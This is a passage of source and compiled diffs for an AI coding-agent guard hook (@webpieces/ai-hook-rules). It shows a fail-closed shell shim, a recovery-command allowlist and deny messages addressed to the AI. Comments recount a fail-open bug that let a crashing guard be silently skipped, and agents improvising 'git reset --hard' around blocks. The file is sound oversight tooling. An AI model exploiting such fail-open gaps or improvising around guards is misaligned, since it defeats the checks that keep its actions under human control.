comparing.\nDRIFT_PKG=\"\"\nDRIFT_DECLARED=\"\"\nDRIFT_INSTALLED=\"\"\nif [ -f \"$ROOT/package.json\" ]; then\n # Only when a @webpieces dep actually uses a \"catalog:\" spec do we scan the (possibly huge) lockfile —\n # a cheap grep keeps the common, catalog-free repo from paying that cost on every tool call. One awk\n # pass over pnpm-lock.yaml emits \"<catalog> <@webpieces/pkg> <version>\" lines for the sh lookup below;\n # \\\\047 is a single quote (so this awk program carries none and stays safely single-quotable in sh).\n WP_CATALOGS=\"\"\n if grep -Eq '\"@webpieces/[^\"]*\"[[:space:]]*:[[:space:]]*\"catalog:' \"$ROOT/package.json\" 2>/dev/null && [ -f \"$ROOT/pnpm-lock.yaml\" ]; then\n WP_CATALOGS=\"$(awk '\n { n=0; while (substr($0,n+1,1)==\" \") n++; c=substr($0,n+1) }\n c==\"\" { next }\n n==0 { incat=(c ~ /^catalogs: *$/)?1:0; cat=\"\"; pkg=\"\"; next }\n incat==0 { next }\n n==2 { cat=c; sub(/:.*/,\"\",cat); pkg=\"\"; next }\n n==4 { pkg=c; sub(/: *$/,\"\",pkg); gsub(/[\"\\\\047]/,\"\",pkg); next }\n n==6 && substr(pkg,1,11)==\"@webpieces/\" && c ~ /^version:/ {\n v=c; sub(/^version: */,\"\",v); gsub(/[\"\\\\047 ]/,\"\",v);\n if (cat!=\"\" && v!=\"\") print cat \" \" pkg \" \" v\n }\n ' \"$ROOT/pnpm-lock.yaml\" 2>/dev/null)\"\n fi\n while IFS=' ' read -r WP_NAME WP_DECL; do\n [ -n \"$WP_NAME\" ] || continue\n # Resolve the declared spec to an EXACT version, or skip it: ranges (^ ~ workspace:*) never drift,\n # and a catalog spec we cannot resolve is best-effort skipped rather than guessed.\n case \"$WP_DECL\" in\n catalog:*)\n WP_CAT=\"\\${WP_DECL#catalog:}\"; [ -n \"$WP_CAT\" ] || WP_CAT=\"default\"\n WP_DECL=\"$(printf '%s\\\\n' \"$WP_CATALOGS\" | awk -v c=\"$WP_CAT\" -v p=\"@webpieces/$WP_NAME\" '$1==c && $2==p {print $3; exit}')\"\n [ -n \"$WP_DECL\" ] || continue ;;\n [0-9]*) : ;;\n *) continue ;;\n esac\n WP_MANIFEST=\"$ROOT/node_modules/@webpieces/$WP_NAME/package.json\"\n [ -f \"$WP_MANIFEST\" ] || continue\n WP_INST=\"$(sed -n 's/.*\"version\"[[:space:]]*:[[:space:]]*\"\\\\([^\"]*\\\\)\".*/\\\\1/p' \"$WP_MANIFEST\" | head -n1)\"\n [ -n \"$WP_INST\" ] || continue\n if [ \"$WP_DECL\" != \"$WP_INST\" ]; then\n DRIFT_PKG=\"@webpieces/$WP_NAME\"\n DRIFT_DECLARED=\"$WP_DECL\"\n DRIFT_INSTALLED=\"$WP_INST\"\n break\n fi\n done <<WPEOF\n$(sed -n 's/.*\"@webpieces\\\\/\\\\([A-Za-z0-9._-]*\\\\)\"[[:space:]]*:[[:space:]]*\"\\\\([^\"]*\\\\)\".*/\\\\1 \\\\2/p' \"$ROOT/package.json\")\nWPEOF\nfi`;\n\n// Shell fragment: run the installed guard bin and INSPECT its outcome, instead of exec'ing it.\n//\n// THE BUG THIS FIXES (guards silently fail-OPEN): the shim used to `exec \"$BIN\"`. exec REPLACES this\n// shim process, so once the bin was executable the shim was GONE and could no longer make a decision.\n// That is fine when the bin runs — but the bin can be INSTALLED YET BROKEN: a corrupt/partially-written\n// node_modules makes node die at require() time with MODULE_NOT_FOUND, exiting 1. And in the PreToolUse\n// protocol ONLY exit 2 blocks: any other non-zero is a NON-BLOCKING error, so Claude Code prints\n// \"Failed with non-blocking status code\" and RUNS THE TOOL CALL ANYWAY — the guard is silently skipped.\n// Result: every Write/Edit/Bash went UNGUARDED, for as long as node_modules stayed corrupt. The shim\n// handled \"bin missing\" and \"bin stale\", but never \"bin present and CRASHES\" — the third failure mode.\n//\n// So: do not exec. Run the bin with the payload on stdin and branch on its exit code.\n// rc 0 | 2 → a REAL decision (allow / block). Relay stdout, stderr and the code byte-faithfully.\n// anything else → the guard CRASHED. Fall through to the fail-CLOSED path (BROKEN_BIN=1).\n// stdout/stderr go through temp FILES, not $(command substitution), so the bin's bytes reach Claude\n// Code exactly as written — command substitution strips trailing newlines and would corrupt the\n// decision JSON. Reading the payload up-front ($PAYLOAD) is what replaces exec's stdin passthrough.\nconst RUN_BIN_SH = `if [ -x \"\\$BIN\" ] && [ -z \"\\$DRIFT_PKG\" ]; then\n OUT_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-out.\\$\\$\"\n ERR_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-err.\\$\\$\"\n printf '%s' \"\\$PAYLOAD\" | \"\\$BIN\" \"\\$@\" >\"\\$OUT_FILE\" 2>\"\\$ERR_FILE\"\n RC=\\$?\n if [ \"\\$RC\" = 0 ] || [ \"\\$RC\" = 2 ]; then\n cat \"\\$OUT_FILE\" # the guard's real decision — verbatim\n cat \"\\$ERR_FILE\" >&2\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n exit \"\\$RC\"\n fi\n # Crashed. Keep the most useful stderr line for the human. Strip \" and backslash so the text stays a\n # valid JSON string, and cap the length so a giant node stack cannot blow up the deny payload.\n CRASH_MSG=\"\\$(grep -m1 'Cannot find module' \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"\\$(head -n1 \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"exit code \\$RC, no stderr\"\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n BROKEN_BIN=1\nfi`;\n\n// Shell fragment: the guards are DOWN (missing | stale | crashed). Parse the payload, audit-log the\n// decision, and let THE L0 ALLOWLIST through — everything else falls to the deny below.\n//\n// This asks the identical question isAllowed() asks in JS, in the same order: Read, then the\n// webpieces.config.json target, then the one command union (L0_ALLOW_ERE). The sh and JS halves exist\n// because D/X/K are decided BEFORE the bin runs (a stale/missing/broken validator cannot validate\n// itself) while S/C/Y are decided inside it — one model, two enforcement points.\n//\n// NOTE the documented asymmetry: here the bin is never executed, so an allowed Read is TERMINAL and\n// read-stale-guard does not run. In JS the same entry falls through and it does. See isAllowed().\nconst TRIAGE_SH = `CMD=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"command\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\nTOOL=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"tool_name\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\nFILE=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"file_path\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\n# Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a\n# human can inspect after something odd (an install that was denied, or one that slipped through). One\n# tab-separated line per call → <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or\n# blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is\n# the PreToolUse decision channel — a stray byte there would corrupt allow/deny).\nLOG_DIR=\"\\$ROOT/.webpieces/logs\"\nwp_log() { # \\$1 = label (ALLOW-CURE|ALLOW-READ|ALLOW-CONFIG|DENY|DENY-STALE|DENY-BROKEN)\n { mkdir -p \"\\$LOG_DIR\" 2>/dev/null && printf '%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n' \"\\$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)\" \"\\$BIN_NAME\" \"\\$TOOL\" \"\\$1\" \"\\$CMD\" >> \"\\$LOG_DIR/ai-hook-shim.log\"; } 2>/dev/null || true\n}\nDENY_LABEL=\"DENY\"\n[ -n \"\\$DRIFT_PKG\" ] && DENY_LABEL=\"DENY-STALE\" # version drift, not a missing bin\n[ -n \"\\$BROKEN_BIN\" ] && DENY_LABEL=\"DENY-BROKEN\" # bin present but CRASHED (corrupt node_modules)\n# THE L0 ALLOWLIST, entry order identical to isAllowed(). No fault is consulted: a cure that cannot\n# help a given fault also cannot hurt it, and gating each entry on a fault is what produced the four\n# defects recorded above L0_ALLOW_ERE.\nif [ \"\\$TOOL\" = \"Read\" ]; then\n wp_log ALLOW-READ # you must be able to read to work out how to fix this\n exit 0\nfi\ncase \"\\$FILE\" in\n */${CONFIG_FILENAME}|${CONFIG_FILENAME})\n wp_log ALLOW-CONFIG # the always-allowed recovery target — every guard is configured from it\n exit 0 ;;\nesac\nif printf '%s' \"\\$CMD\" | grep -Eq '${L0_ALLOW_ERE}'; then\n wp_log ALLOW-CURE # record the self-heal we let through (re-enables the guards)\n exit 0 # allow the cure so the assistant can break the deadlock\nfi\nwp_log \"\\$DENY_LABEL\" # every fail-closed block (…-STALE = drift, …-BROKEN = crash) for inspection`;\n\n// Shell fragment: emit the deny. FAIL CLOSED via Claude Code's PreToolUse JSON protocol\n// (permissionDecision \"deny\" on stdout, then exit 0) rather than a bare \"exit 2\". BOTH block the call,\n// but the reason must be made VISIBLE, and HOW depends on the tool (verified by live tests; the docs\n// are wrong here):\n// - Bash deny: permissionDecisionReason is NOT shown to the human — ONLY a top-level systemMessage\n// is, and it honors ANSI. So for Bash we emit systemMessage wrapped in ANSI red so the\n// recovery command is visible (without it, on Bash, it is invisible).\n// - Write/Edit/MultiEdit deny: permissionDecisionReason renders as a RED \"Error:\" block natively —\n// no systemMessage needed (a second line would be redundant).\n// - NEVER exit 2 (stdout JSON ignored; stderr not reliably shown on a blocked Bash call).\n// The ESC is emitted as the literal 6-char JSON escape \\\\u001b (built via ${BS} so no raw ESC byte and\n// no \\\\uXXXX sits in this source); Claude Code's JSON parser turns \\\\u001b into ESC. The reason is a\n// single JSON string with no double-quotes/backslashes, so it stays valid JSON after ${BIN_NAME} subs.\nconst DENY_EMIT_SH = `if [ \"\\$TOOL\" = \"Bash\" ]; then\n BS='\\\\' # one literal backslash, so the \\\\u001b escape never sits in this source\n ESC=\"\\${BS}u001b\" # the 6 chars: backslash u 0 0 1 b — Claude Code parses \\\\u001b → ESC\n printf '{\"systemMessage\":\"%s🛑 %s%s\",\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\${ESC}[31;1m\" \"\\$REASON\" \"\\${ESC}[0m\" \"\\$REASON\"\nelse\n printf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\$REASON\"\nfi\nexit 0 # decision is carried by permissionDecision \"deny\", not the exit code`;\n\n// Shell fragment: pick the fail-closed deny REASON — a crashed-bin message (corrupt node_modules) vs a\n// version-drift message (bin present but stale) vs the missing-bin message. Extracted alongside\n// VERSION_DRIFT_GUARD_SH / RUN_BIN_SH to keep renderShim() within the method-line budget.\nconst DENY_REASON_SH = `if [ -n \"\\$BROKEN_BIN\" ]; then\n # Report (do NOT auto-clean) the orphaned pnpm staging dirs — a package pnpm was mid-way through\n # writing is left behind as <name>_<pid>_<hash>. Their presence is the fingerprint of an install that\n # was killed, which is what corrupts node_modules in the first place. Best-effort; never fatal.\n STAGING_N=\"\\$(ls \"\\$ROOT/node_modules\" 2>/dev/null | grep -Ec '_[0-9a-f]+_[0-9a-f]+\\$' || true)\"\n STAGING_NOTE=\"\"\n if [ \"\\${STAGING_N:-0}\" -gt 0 ] 2>/dev/null; then\n STAGING_NOTE=\" Also found \\$STAGING_N orphaned pnpm staging dirs (name_pid_hash) under node_modules - the fingerprint of an install that was killed mid-write.\"\n fi\n REASON=\"❌ webpieces guards are DOWN and every OTHER tool call is BLOCKED: \\${BIN_NAME} is installed but CRASHED (\\$CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package. THIS IS NOT A DEADLOCK: the option below is explicitly ALLOWED through while this guard is up, so run it YOURSELF rather than handing it to the human. OPTION 1 - run EXACTLY this command, then retry: '${RECOVERY_CMD}'. ${NO_CHAINING_RULE}\\${STAGING_NOTE}\"\nelif [ -n \"\\$DRIFT_PKG\" ]; then\n # The 'how do I get current' half comes from SyncFlowGuidance so it cannot contradict the guards.\n # It used to name 'git merge --ff-only origin/main' and assert that merge is allowed while this guard\n # is up — the ONE command redirect-how-to-merge-main blocks in every form. An AI that obeyed the\n # drift message got hard-blocked by the other guard with no path forward, which is how improvised\n # 'git reset --hard' workarounds get invented. The SYNC allowlist no longer accepts merge either, so\n # the text and the allowlist now agree instead of the text warning against what the list permits.\n #\n # State the two versions and let the reader judge which is stale — do NOT assert a direction. The\n # check is a plain !=, so it fires BOTH ways, and the old text always claimed node_modules was the\n # older side. When it is actually the NEWER side (a checkout behind origin), that text sent people\n # to 'pnpm install', which DOWNGRADES them further from correct.\n #\n # But \"which side is stale\" is NOT the same question as \"what clears the block\". 'pnpm install' clears\n # fault D in BOTH directions by definition — it makes installed == pin. The old text never said so, so\n # a reader on the OPTION 2 branch could not tell whether it was even permitted to install. The only\n # real question is whether the PIN is the version you WANT, and that has three legitimate answers,\n # including deliberately staying on the older code (a checkout + feature branch + install to\n # downgrade). Saying that out loud stops it being improvised as a reset --hard.\n #\n # The FEATURE-BRANCH case is why featureBranchSyncAdvice() is a separate method: wp-start-update is\n # NOT on the L0 allowlist (a 3-point merge is not a tooling-integrity cure), so it can only be offered\n # AFTER the install that clears this block and re-arms the guards. Prescribing it while the block is\n # up would be the same deny-names-a-denied-command deadlock this module exists to prevent.\n REASON=\"❌ webpieces version drift: package.json pins \\$DRIFT_PKG@\\$DRIFT_DECLARED but node_modules has \\$DRIFT_INSTALLED. Every OTHER call is blocked until they agree. 'pnpm install' ALWAYS clears this block, in BOTH directions - it makes node_modules match the pin by definition, and it is allowed through while this guard is up. The only question is whether the PIN is the version you WANT, so compare the two versions above. OPTION 1 (node_modules is OLDER than the pin - you just pulled or switched to a branch pinning a newer webpieces) - run EXACTLY this command and you are done: 'pnpm install'. OPTION 2 (node_modules is NEWER than the pin - your checkout is behind origin, so the PIN is the stale side, and a bare 'pnpm install' would DOWNGRADE you) - if you are ON MAIN, get the checkout current FIRST and then install: run 'git pull origin main', and after it succeeds run 'pnpm install'. OPTION 3 (node_modules is NEWER than the pin and you deliberately want to stay on the OLD code) - check out the exact commit you want, create a feature branch from it, then run 'pnpm install' to bring node_modules DOWN to the version that commit pinned. That is a legitimate choice, not a mistake - the downgrade is the point. ON A FEATURE BRANCH: a bare 'pnpm install' aligns node_modules to YOUR BRANCH pin, which is usually what you want, and it clears this block. If you actually want main's newer @webpieces, still run 'pnpm install' FIRST to clear the drift and re-arm the guards, and only THEN sync from main normally. ${new SyncFlowGuidance().featureBranchSyncAdvice()} Do NOT try to run those two while this block is up: they are not on the allowlist, and they do not need to be - the install comes first. ${new SyncFlowGuidance().updateMainAdvice()} git pull and git fetch are allowed while this guard is up and are the cure here. git merge is NOT allowed - not by this guard and not by redirect-how-to-merge-main once the guards are back - because main is merged ONLY through the 3-point fork merge: 'pnpm wp-start-update', or 'pnpm wp-start-upsert-pr' when a PR is already open. ${NO_CHAINING_RULE}\"\nelse\n # A LINKED WORKTREE is the overwhelmingly common way to land here with a perfectly healthy repo:\n # git gives the new worktree a .git FILE (the primary clone has a .git directory) and copies no\n # node_modules, so the very first tool call in a brand-new worktree fail-closes on a missing bin.\n # Naming that explicitly turns a baffling \"not installed\" into a one-command fix, and the HERE is\n # load-bearing: installing in the primary clone does nothing for this tree.\n WORKTREE_NOTE=\"\"\n if [ -f \"\\$ROOT/.git\" ]; then\n WORKTREE_NOTE=\" NOTE: \\$ROOT is a LINKED WORKTREE - git does not copy node_modules into a new worktree, so this is expected on a fresh one. Run 'pnpm install' HERE (in this worktree), not in the primary clone.\"\n fi\n REASON=\"❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (\\${BIN_NAME} not found). OPTION 1 - run EXACTLY this command to enable the webpieces AI guards, then retry: 'pnpm install'. ${NO_CHAINING_RULE}\\${WORKTREE_NOTE} (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)\"\nfi`;\n\nexport function renderShim(): string {\n return `#!/bin/sh\n# Managed by @webpieces/ai-hook-rules (wp-install-ai-hooks) — do not edit. This file is GENERATED from\n# renderShim() and is intentionally VERSION-AGNOSTIC and byte-STABLE across releases: it carries no\n# version stamp, so it only changes when its own logic changes. The installed guards binary is what\n# checks that this committed copy still matches renderShim() (the committed-shim self-guard); if you\n# revert or hand-edit this file the binary fails closed and names the cure. Checked in on purpose so\n# the hook has a stable entry point even when node_modules is absent. Safe to delete along with the\n# matching .claude/settings.json entries if you remove @webpieces/ai-hook-rules.\n#\n# Usage (wired into .claude/settings.json): sh \"$CLAUDE_PROJECT_DIR/.claude/webpieces/ai-hook.sh\" <bin-name>\nBIN_NAME=\"$1\"\nshift\n# Resolve the bin relative to THIS script (…/<root>/.claude/webpieces/ai-hook.sh → <root>), not the\n# caller's cwd — the hook can be invoked from any directory (a subdir, or a nested clone).\nROOT=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")/../..\" && pwd)\"\nBIN=\"$ROOT/node_modules/.bin/$BIN_NAME\"\n${VERSION_DRIFT_GUARD_SH}\n# Read the tool payload ONCE, up front. The shim no longer exec's the bin (see RUN_BIN_SH), so it must\n# forward stdin to the bin itself — and it needs the payload again on the fail-closed path below.\nPAYLOAD=\"$(cat)\"\nBROKEN_BIN=\"\"\nCRASH_MSG=\"\"\n${RUN_BIN_SH}\n# Bin missing (fresh clone before install) OR a version drift (stale node_modules) OR the bin is\n# installed but CRASHED (corrupt node_modules). The webpieces guards CANNOT safely run.\n# Before failing closed, peek at the tool payload and let ONLY package-manager install/recovery commands\n# through: the assistant's own Bash tool routes through this hook too, so blocking everything would\n# deadlock the very commands (pnpm install / rm -rf node_modules && pnpm install) that re-enable the\n# guards. A silent exit 0 = \"allow\" in the PreToolUse protocol; the guards resume once the tree is sane.\n${TRIAGE_SH}\n${DENY_REASON_SH}\n${DENY_EMIT_SH}\n`;\n}\n\n// Find the repo root that owns the committed shim to heal: walk up from `cwd` (the invocation's\n// actual dir) to the nearest ancestor holding a shim, falling back to $CLAUDE_PROJECT_DIR (which\n// Claude Code exports to hooks) only if the walk finds nothing. cwd-first keeps this correct for a\n// nested clone and testable (a temp root is honoured over the ambient project env). Returns null when\n// no committed shim exists (e.g. a global / absolute install, which has none to heal).\n//\n// Exported for install-entry.ts: on a CORRUPT node_modules, healShim is the only installer step that\n// can still run, so the installer must be able to tell the human whether a committed shim was actually\n// there to re-arm. Pure existsSync walk — never throws, so it needs no try/catch of its own.\n// webpieces-disable no-function-outside-class -- pure fs+path helper in the dependency-free shim module; it must not depend on DI (install-entry.ts relies on this loading on a corrupt tree).\nexport function findShimRoot(cwd: string): string | null {\n let dir = cwd;\n for (;;) {\n if (fs.existsSync(shimPath(dir))) return dir;\n const parent = path.dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n const env = process.env['CLAUDE_PROJECT_DIR'];\n if (env && fs.existsSync(shimPath(env))) return env;\n return null;\n}\n\n// Best-effort: keep the committed shim identical to renderShim() so the fail-closed escape hatch and\n// allowlist never drift. Only rewrites an EXISTING shim (never creates one) so global installs are\n// untouched. NEVER throws — a self-heal must never block or crash a tool call.\n//\n// The overwrite itself is correct and deliberate — shim and binary are two halves of one L0 and MUST\n// come from the same release (see shimStaleRecoveryDecision's header in ../adapters/hook-core).\n//\n// It needs no backup and no notice: the shim is a TRACKED file, so whatever it replaced is already in\n// git — `git diff` shows the rewrite, and a tamper is a working-tree modification git surfaces on its\n// own. In a consistent repo this is a no-op (committed shim already equals renderShim()); it earns its\n// keep on the upgrade path, where bumping the pin and installing leaves the committed shim behind and\n// this quietly brings it forward to be committed.\nexport function healShim(cwd: string): void {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const root = findShimRoot(cwd);\n if (!root) return;\n const target = shimPath(root);\n const desired = renderShim();\n if (fs.readFileSync(target, 'utf8') === desired) return;\n fs.writeFileSync(target, desired, { mode: 0o755 });\n fs.chmodSync(target, 0o755);\n } catch (err: unknown) {\n //const error = toError(err);\n // Ignore: healing is a convenience, not part of the guard decision.\n }\n}\n\n// ---------------------------------------------------------------------------\n// COMMITTED-SHIM SELF-GUARD — now enforced by the guards BINARY, not the shim (moved 2026-07-24).\n//\n// It used to live in the rendered shim (`cmp -s \"$0\" \"$WP_TEMPLATE\"` → fail closed). That was a\n// double-edged fix trap: the shim-matching logic lived IN the committed shim, so a bug in it could\n// only be fixed by regenerating the committed shim — which required passing the buggy shim's own gate\n// (via wp-upgrade-shim). The fix was locked behind the gate it needed to open.\n//\n// The drift guard MUST stay pre-binary (a stale validator can't be trusted to guard itself), but this\n// check's rationale — \"don't run possibly-stale shim logic\" — evaporates once the check is in the\n// binary: at that point the deciding code is the CURRENT binary from node_modules, not the reverted\n// shim. So the shim now only checks drift + bin-presence and always hands off; the binary (hook-core)\n// calls committedShimStale() and, on a mismatch, fails closed with shimStaleDenyReason() — the SAME\n// OPTION 1/2/3 message — while isShimCureCommand() lets the three cures through so the AI self-heals.\n// We deny + tell the AI; we do NOT silently rewrite the file under it. With the version stamp gone the\n// shim is byte-stable across releases, so this fires only on a genuine logic change or a real tamper.\n// ---------------------------------------------------------------------------\n\n// True when a committed shim EXISTS but no longer equals renderShim() (reverted, hand-edited, or a shim\n// whose LOGIC predates the installed binary). Missing shim → false: a fresh clone / global install has\n// nothing to guard, matching the old shim's `[ -f \"$WP_TEMPLATE\" ]` skip. Same comparison healShim\n// makes; never throws (an unreadable tree is treated as \"not stale\" so it can't wedge a tool call).\n// webpieces-disable no-function-outside-class -- pure fs+path helper in the shim module, beside healShim/renderShim.\nexport function committedShimStale(cwd: string): boolean {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const root = findShimRoot(cwd);\n if (root === null) return false;\n return fs.readFileSync(shimPath(root), 'utf8') !== renderShim();\n } catch (err: unknown) {\n const error = toError(err);\n void error; // best-effort: an unreadable tree counts as \"not stale\" so this never wedges a tool call\n return false;\n }\n}\n\n// True when `command` is one of the three self-guard cures — the ONLY commands allowed through while a\n// stale committed shim blocks everything else, so the AI can re-arm it. Each JS twin already tolerates\n// a trailing `2>&1 | tail -N` and rejects any `&&`-chained tail (see CAPTURE_TAIL_JS_SRC).\n// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist twins; belongs beside them in the shim module.\nexport function isShimCureCommand(command: string): boolean {\n const cmd = command.trim();\n return INSTALL_HOOKS_ALLOW_JS.test(cmd) || UPGRADE_SHIM_ALLOW_JS.test(cmd) || RESTORE_SHIM_ALLOW_JS.test(cmd);\n}\n\n// The fail-closed deny text for a stale committed shim, built from the single-source cure constants +\n// NO_CHAINING_RULE. `installedVersion` names WHICH webpieces the cure re-arms to (the binary is that\n// version); pass '' to omit the note rather than print an empty one. CONSTRAINT: the returned string\n// must contain no `\"` and no `\\` — it is JSON-serialized by denyJson() (a stray quote/backslash would\n// corrupt the PreToolUse decision payload, not just the text). Locked by a unit test.\n// webpieces-disable no-function-outside-class -- pure string builder over exported constants; the single source of the self-guard deny text now that the sh copy is gone.\nexport function shimStaleDenyReason(installedVersion: string): string {\n const verNote = installedVersion ? ` (installed version ${installedVersion})` : '';\n return `❌ webpieces-managed file was changed: .claude/webpieces/ai-hook.sh no longer matches the ai-hook.sh rendered by the INSTALLED @webpieces/ai-hook-rules${verNote} (it was reverted or hand-edited). This file is GENERATED and committed by webpieces - it must NOT be reverted or edited by hand, and its fail-closed guard logic cannot be trusted while it differs. Every OTHER tool call is blocked until the two files are byte-identical again. THIS IS NOT A DEADLOCK: all three options below are explicitly ALLOWED through while this guard is up, so run one YOURSELF now - do not hand it back to the human. OPTION 1 (preferred, and the only NON-INTERACTIVE spelling) - run EXACTLY this command: '${INSTALL_HOOKS_SYNC_CMD}'. The installer re-arms the shim as its FIRST step, before it loads anything else, and --sync returns right after the config sync instead of going on to wire the hooks - so it heals and exits cleanly. Do NOT use the BARE '${INSTALL_HOOKS_CMD}' here: it goes on to wire both hooks and PROMPTS for a target twice, which hangs a non-interactive session. OPTION 2 (shim regen and nothing else; needs installed @webpieces/ai-hook-rules 0.4.408 or newer) - run EXACTLY this command: '${UPGRADE_SHIM_CMD}'. OPTION 3 (pick this when the installed @webpieces/ai-hook-rules is OLDER than 0.4.408, so wp-upgrade-shim does not exist yet - it works on every version, but Claude Code's own permission prompt may ask you to confirm the file overwrite, and that prompt is NOT this guard) - run EXACTLY this command: '${RESTORE_SHIM_CMD}'. ${NO_CHAINING_RULE} Do NOT revert the shim again - if you meant to remove @webpieces/ai-hook-rules, delete its hooks from .claude/settings.json instead.`;\n}\n\n// The shape of the fields we read out of this package's package.json.\ninterface ShimPackageManifest {\n readonly version?: string;\n}\n\n// The installed @webpieces/ai-hook-rules version, for shimStaleDenyReason's note. The binary IS this\n// package, so it reads its OWN package.json (two dirs up from src/bin). Best-effort: '' on any failure,\n// which shimStaleDenyReason renders as no note rather than a broken one.\n// webpieces-disable no-function-outside-class -- pure fs helper beside the shim module's other version plumbing.\nexport function installedShimRulesVersion(): string {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, '..', '..', 'package.json'), 'utf8')) as ShimPackageManifest;\n return pkg.version ?? '';\n } catch (err: unknown) {\n const error = toError(err);\n void error; // best-effort: no readable version → shimStaleDenyReason prints no note\n return '';\n }\n}\n"]}
@@ -21,7 +21,29 @@ export declare const GUARD_MATRIX_DOC = "webpieces.guard-matrix.md";
21
21
  export declare class L0Cure {
22
22
  readonly mention: string;
23
23
  readonly call: L0Call;
24
- constructor(mention: string, call: L0Call);
24
+ /**
25
+ * The one to reach for first when a fault has several. Exactly one cure per fault carries it,
26
+ * so the rendered Fix section never asks the reader to choose between equals.
27
+ */
28
+ readonly preferred: boolean;
29
+ /**
30
+ * WHEN to pick this cure over its siblings — the sentence that makes a list of commands
31
+ * actionable instead of a menu ("when the PIN is the stale side", not "an alternative").
32
+ */
33
+ readonly discriminator: string;
34
+ constructor(mention: string, call: L0Call,
35
+ /**
36
+ * The one to reach for first when a fault has several. Exactly one cure per fault carries it,
37
+ * so the rendered Fix section never asks the reader to choose between equals.
38
+ */
39
+ preferred: boolean,
40
+ /**
41
+ * WHEN to pick this cure over its siblings — the sentence that makes a list of commands
42
+ * actionable instead of a menu ("when the PIN is the stale side", not "an alternative").
43
+ */
44
+ discriminator: string);
45
+ /** A Bash cure renders as a literal command; a tool-shaped one renders as the edit it stands for. */
46
+ isCommand(): boolean;
25
47
  }
26
48
  /** One L0 fault. Data-only → a class, per CLAUDE.md. */
27
49
  export declare class L0Fault {
@@ -42,9 +42,28 @@ exports.GUARD_MATRIX_DOC = 'webpieces.guard-matrix.md';
42
42
  class L0Cure {
43
43
  mention;
44
44
  call;
45
- constructor(mention, call) {
45
+ preferred;
46
+ discriminator;
47
+ // eslint-disable-next-line @typescript-eslint/max-params
48
+ constructor(mention, call,
49
+ /**
50
+ * The one to reach for first when a fault has several. Exactly one cure per fault carries it,
51
+ * so the rendered Fix section never asks the reader to choose between equals.
52
+ */
53
+ preferred,
54
+ /**
55
+ * WHEN to pick this cure over its siblings — the sentence that makes a list of commands
56
+ * actionable instead of a menu ("when the PIN is the stale side", not "an alternative").
57
+ */
58
+ discriminator) {
46
59
  this.mention = mention;
47
60
  this.call = call;
61
+ this.preferred = preferred;
62
+ this.discriminator = discriminator;
63
+ }
64
+ /** A Bash cure renders as a literal command; a tool-shaped one renders as the edit it stands for. */
65
+ isCommand() {
66
+ return this.call.toolName === 'Bash';
48
67
  }
49
68
  }
50
69
  exports.L0Cure = L0Cure;
@@ -80,21 +99,37 @@ exports.L0Fault = L0Fault;
80
99
  // (b) not on the L0 allowlist in that spelling, i.e. the AI was handed a cure it could neither run nor
81
100
  // get past the guard. Now it names the installer that actually seeds the config AND is entry 8 of the
82
101
  // allowlist, and it says out loud that writing the config yourself is allowed through.
102
+ //
103
+ // ORDERING (2026-08-02): writing the file yourself now LEADS. The bare installer used to be OPTION 1,
104
+ // but it seeds the config and then PROMPTS twice for a hook target, which hangs a non-interactive
105
+ // agent — and `--sync` is no help here either ("No webpieces.config.json found — nothing to sync"), so
106
+ // there is no non-interactive installer spelling for this fault. Writing the file is the one cure that
107
+ // always works, and it is the same cure every other config problem has (see the config-validation
108
+ // invariant in GUARD_MATRIX.md): the validator reports every error at once, so the write/validate loop
109
+ // converges in a couple of passes. Do NOT "fix" this by teaching --sync to seed the file.
83
110
  exports.CONFIG_MISSING_REPORT = `${rules_config_1.CONFIG_FILENAME} not found — the webpieces guards cannot run without it, so every other tool call is blocked.\n` +
84
111
  'THIS IS NOT A DEADLOCK: both options below are explicitly allowed through while this guard is up.\n' +
85
- 'OPTION 1 - run EXACTLY this command to seed the config (it also re-arms the hooks): `pnpm exec wp-install-ai-hooks`.\n' +
86
- `OPTION 2 - create ${rules_config_1.CONFIG_FILENAME} yourself: any Read, and any Write/Edit whose target is\n` +
87
- `${rules_config_1.CONFIG_FILENAME}, is always allowed through, so you can inspect the repo and write it.\n` +
112
